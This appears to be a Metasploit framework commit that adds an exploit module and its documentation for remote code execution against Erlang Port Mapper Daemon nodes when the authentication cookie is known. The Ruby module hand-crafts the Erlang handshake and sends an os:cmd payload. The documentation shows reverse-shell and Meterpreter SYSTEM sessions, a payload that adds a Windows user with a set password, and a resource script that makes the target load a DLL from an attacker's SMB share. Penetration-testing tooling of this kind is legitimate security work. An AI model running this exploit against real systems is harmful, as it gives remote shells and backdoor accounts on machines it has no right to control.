Land #11089, Erlang cookie rce exploit module

GSoC/Meterpreter_Web_Console
Jacob Robles 2018-12-19 08:02:40 -06:00
commit 6921b79890
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
2 changed files with 310 additions and 0 deletions

View File

@ -0,0 +1,154 @@
## Vulnerable Application
The [Erlang Port Mapper Daemon](https://www.erlang.org/) is used to coordinate distributed erlang
instances. Should an attacker get the authentication cookie code execution is trivial. Normally this
cookie can be found in the home directory as ".erlang.cookie", however it varies system to system
as well as its configuration. As an example on a Windows 10 instance it can be found under the
users home directory: e.g `C:\Users\<USER>\.erlang.cookie`. Code execution is achieved via the
`os:cmd('cmd').` command
## Verification Steps
1. Install the Erlang Port Mapper Daemon
2. Install RabbitMQ
3. Start `msfconsole`
4. Do `use exploit/multi/misc/erlang_cookie_rce`
5. Do `set RHOST <ip>`
6. Do `set COOKIE <cookie>`
7. Do `set TARGET <target>`
8. Do `set LHOST <host>`
9. `exploit` and verify shell is opened (if on windows login)
## Scenarios
### Ubuntu 16.04.5 LTS
```
msf exploit(multi/misc/erlang_cookie_rce) > options
Module options (exploit/multi/misc/erlang_cookie_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
COOKIE EXAMPLE yes Erlang cookie to login with
RHOST A.B.C.D yes The target address
RPORT 25672 yes The target port (TCP)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST W.X.Y.Z yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix
msf exploit(multi/misc/erlang_cookie_rce) > exploit
[*] Started reverse TCP double handler on W.X.Y.Z:4444
[*] A.B.C.D:25672 - Receiving server challenge
[*] A.B.C.D:25672 - Sending challenge reply
[+] A.B.C.D:25672 - Authentication successful, sending payload
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo XinIWxzXWDO5x9EM;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "XinIWxzXWDO5x9EM\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:46410) at 2018-12-09 14:45:47 -0600
id
uid=122(rabbitmq) gid=130(rabbitmq) groups=130(rabbitmq)
```
### Windows 10 (Build 17134)
First we want to exploit the host, as an example adding a new user. (Payload is executed over cmd.exe)
```
msf exploit(multi/misc/erlang_cookie_rce) > options
Module options (exploit/multi/misc/erlang_cookie_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
COOKIE EXAMPLE yes Erlang cookie to login with
RHOST A.B.C.D yes The target address
RPORT 25672 yes The target port (TCP)
Payload options (cmd/windows/adduser):
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM no Custom group name to be used instead of default
PASS Wetw0rkHax0r$1 yes The password for this user
USER wetw0rk yes The username to create
WMIC false yes Use WMIC on the target to resolve administrators group
Exploit target:
Id Name
-- ----
1 Windows
msf exploit(multi/misc/erlang_cookie_rce) > exploit
[*] A.B.C.D:25672 - Receiving server challenge
[*] A.B.C.D:25672 - Sending challenge reply
[+] A.B.C.D:25672 - Authentication successful, sending payload
[*] Exploit completed, but no session was created.
```
Once exploitation is complete the tester can authenticate. Another method that can be used is SMB as shown below.
exploit.rc ->
```
use exploit/windows/smb/smb_delivery
set SHARE MSF
set TARGET 0
exploit -j
use exploit/multi/misc/erlang_cookie_rce
set COOKIE EXAMPLE
set TARGET 1
set RHOST A.B.C.D
set PAYLOAD cmd/windows/generic
set CMD "rundll32.exe \\\\W.X.Y.Z\MSF\test.dll,0"
exploit -j
```
```
msf > resource exploit.rc
[*] Processing /root/exploit.rc for ERB directives.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on W.X.Y.Z:4444
[*] Started service listener on W.X.Y.Z:445
[*] Server started.
[*] Run the following command on the target machine: rundll32.exe \\W.X.Y.Z\MSF\test.dll,0
[*] Exploit running as background job 1.
[*] A.B.C.D:25672 - Receiving server challenge
[*] A.B.C.D:25672 - Sending challenge reply
[+] A.B.C.D:25672 - Authentication successful, sending payload
[*] Sending stage (179779 bytes) to A.B.C.D
[*] Meterpreter session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:51856) at 2018-12-18 14:45:02 -0600
[*] Exploit completed, but no session was created.
msf exploit(multi/misc/erlang_cookie_rce) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

View File

@ -0,0 +1,156 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Erlang Port Mapper Daemon Cookie RCE',
'Description' => %q{
The erlang port mapper daemon is used to coordinate distributed erlang instances.
Should an attacker get the authentication cookie RCE is trivial. Usually, this
cookie is named ".erlang.cookie" and varies on location.
},
'Author' =>
[
'Daniel Mende', # blog post article
'Milton Valencia (wetw0rk)', # metasploit module
],
'References' =>
[
['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'win'],
'Arch' => ARCH_CMD,
'Privileged' => 'false',
'Targets' =>
[
[ 'Unix',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
],
[ 'Windows',
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'},
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 20, 2009', # https://github.com/erlang/otp/blob/master/lib/kernel/src/os.erl (history)
)
)
register_options(
[
OptString.new('COOKIE', [ true, 'Erlang cookie to login with']),
Opt::RPORT(25672)
])
end
def generate_challenge_digest(challenge)
challenge = challenge.unpack('H*')[0].to_i(16).to_s
hash = Digest::MD5.new
hash.update(datastore['COOKIE'])
hash.update(challenge)
vprint_status("MD5 digest generated: #{hash.hexdigest}")
return [hash.hexdigest].pack('H*')
end
def exploit
connect
our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}"
# SEND_NAME: send initial identification of who "we" are
send_name = "\x00" # Length: 0x0000
send_name << [(our_node.length+7).to_s(16)].pack('H*') #
send_name << "\x6e" # Tag: n
send_name << "\x00\x05" # Version: R6 (5)
send_name << "\x00\x03\x49\x9c" # Flags (0x0003499c)
send_name << "#{our_node}" # <generated>@<generated>
# SEND_CHALLENGE_REPLY: return generated digest and its own challenge
send_challenge_reply = "\x00\x15" # Length: 21
send_challenge_reply << "\x72" # Tag: r
# SEND: send the message to the node
send = "\x00\x00\x00" # Length:0x00000000
send << [(0x50 + payload.raw.length + our_node.length*2).to_s(16)].pack('H*') #
send << "\x70" #
send << "\x83" # VERSION_MAGIC
send << "\x68" # SMALL_TUPLE_EXT (104)
send << "\x04" # Arity: 4
send << "\x61" # SMALL_INTEGER_EXT
send << "\x06" # Int: 6
send << "\x67" # PID_EXT (103)
send << "\x64\x00" # Node:
send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node)
send << "#{our_node}" # Node
send << "\x00\x00\x00\x03" # ID
send << "\x00\x00\x00\x00" # Serial
send << "\x00" # Creation
send << "\x64" # InternalSegmentIndex
send << "\x00\x00" # Len: 0x0000
send << "\x64" # InternalSegmentIndex
send << "\x00\x03" # Length: 3
send << "rex" # AtomText: rex
send << "\x83\x68\x02\x67\x64\x00" #
send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node)
send << "#{our_node}" # Node
send << "\x00\x00\x00\x03" # ID
send << "\x00\x00\x00\x00" # Serial
send << "\x00" # Creation
send << "\x68" # SMALL_TUPLE_EXT (104)
send << "\x05" # Arity: 5
send << "\x64" # InternalSegmentIndex
send << "\x00\x04" # Length: 4
send << "call" # AtomText: call
send << "\x64" # InternalSegmentIndex
send << "\x00\x02" # Length: 2
send << "os" # AtomText: os
send << "\x64" # InternalSegmentIndex
send << "\x00\x03" # Length: 3
send << "cmd" # AtomText: cmd
send << "\x6c" # LIST_EXT
send << "\x00\x00\x00\x01" # Length: 1
send << "\x6b" # Elements: k
send << "\x00" # Tail
send << [(payload.raw.length).to_s(16)].pack('H*') # strlen(Command)
send << payload.raw # Command
send << "\x6a" # NIL_EXT
send << "\x64" # InternalSegmentIndex
send << "\x00\x04" # Length: 4
send << "user" # AtomText: user
sock.put(send_name)
# recieve servers "SEND_CHALLENGE" token (4 bytes)
print_status("Receiving server challenge")
challenge = sock.get
challenge = challenge[14,4]
send_challenge_reply << challenge
send_challenge_reply << generate_challenge_digest(challenge)
print_status("Sending challenge reply")
sock.put(send_challenge_reply)
if sock.get.length < 1
fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}")
end
print_good("Authentication successful, sending payload")
sock.put(send)
end
end